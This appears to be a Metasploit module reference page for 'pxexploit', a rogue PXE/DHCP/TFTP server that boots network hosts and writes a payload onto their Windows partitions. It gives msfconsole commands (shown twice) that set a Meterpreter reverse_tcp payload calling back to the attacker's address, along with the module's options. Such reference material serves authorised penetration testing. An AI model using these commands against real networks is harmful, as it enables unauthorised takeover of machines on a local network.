PXE Exploit Server
This module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing the payload on the hard drive of any Windows partition seen. Note: the displayed IP address of a target is the address this DHCP server handed out, not the "normal" IP address the host uses.
Exploit Rank
- Excellent
Exploit Authors
- scriptjunkie < >
Exploit Targets
- 0 - Windows Universal (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/misc/agentxpp_receive_agentx
- exploit/windows/misc/apple_quicktime_rtsp_response
- exploit/windows/misc/asus_dpcproxy_overflow
- exploit/windows/misc/avidphoneticindexer
- exploit/windows/misc/bakbone_netvault_heap
- exploit/windows/misc/bcaaa_bof
- exploit/windows/misc/bigant_server
- exploit/windows/misc/bigant_server_250
- exploit/windows/misc/bigant_server_usv
- exploit/windows/misc/bomberclone_overflow
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/misc/pxexploit
msf exploit(pxexploit) > show payloads
msf exploit(pxexploit) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(pxexploit) > set LHOST [MY IP ADDRESS]
msf exploit(pxexploit) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/misc/pxexploit
msf exploit(pxexploit) > show payloads
msf exploit(pxexploit) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(pxexploit) > set LHOST [MY IP ADDRESS]
msf exploit(pxexploit) > exploit
Exploit Module Options
| SESSION | A session to pivot the attack through |
| ContextInformationFile | The information file that contains context information |
| DHCPIPEND | The last IP to give out |
| DHCPIPSTART | The first IP to give out |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| NETMASK | The netmask of the local subnet |
| RESETPXE | Resets the server to re-exploit already targeted hosts |
| SRVHOST | The IP of the DHCP server |
| TFTPROOT | The TFTP root directory to serve files from |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
